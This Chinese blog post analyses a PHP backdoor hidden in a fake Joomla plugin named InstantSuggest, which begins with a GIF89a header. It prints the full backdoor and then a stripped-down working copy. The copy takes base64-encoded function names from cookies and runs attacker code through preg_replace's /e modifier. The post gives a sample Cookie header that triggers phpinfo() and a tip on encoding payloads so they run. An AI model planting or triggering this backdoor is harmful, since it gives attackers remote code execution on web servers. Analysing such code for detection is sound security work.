1. 程式人生 > >php -- cookie 後門

php -- cookie 後門

ttp://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html
https://gist.github.com/PhilETaylor/8045002
http://www.freebuf.com/articles/web/33275.html

  1. GIF89a  
  2. <?php  
  3. /** 
  4.  * @package     Joomla.Plugin 
  5.  * @subpackage  system.instantsuggest 
  6.  * 
  7.  * @copyright   Copyright (C) 2013 InstantSuggest.com. All rights reserved.
     
  8.  * @license     GNU General Public License version 2 or later 
  9.  */
  10. /** 
  11.  * Instant Suggest Ajax 
  12.  * 
  13.  * @package     Joomla.Plugin 
  14.  * @subpackage  system.instantsuggest 
  15.  * @since       3.1 
  16.  */
  17. class PlgSystemInstantSuggest  
  18. {  
  19.     publicfunction __construct() {  
  20.         $filter = @$_COOKIE['p3'
    ];  
  21.         if ($filter) {  
  22.             $option = $filter(@$_COOKIE['p2']);  
  23.             $auth = $filter(@$_COOKIE['p1']);  
  24.             $option("/123/e",$auth,123);  
  25.             die();  
  26.         }  
  27.     }  
  28. }  

利用上述部分程式碼建立頁面bk-001.php,

  1. <?php  
  2. $filter = @$_COOKIE['p3'];  
  3. if ($filter) {  
  4.     $option
     = $filter(@$_COOKIE['p2']);  
  5.     $auth = $filter(@$_COOKIE['p1']);  
  6.     $option("/123/e",$auth,123);  
  7.     die();  
  8. }  
  9. ?>  

傳送下列cookie值,

Cookie:  p3=base64_decode;p2=cHJlZ19yZXBsYWNl;p1=cGhwaW5mbygpOw==

p3=base64_decode;

p2=base64_decode("cHJlZ19yZXBsYWNl") --------> p2=preg_replace;

p1=base64_decode("cGhwaW5mbygpOw==")--------->p1=phpinfo();

有寫朋友可能喜歡使用Linux下的base64程式, 例如:  
echo preg_replace | base64 
得到的結果是cHJlZ19yZXBsYWNlCg==,致使上述程式碼(phpinfo();)無法執行(0x0a的影響). 建議使用php_encode函式加密字串.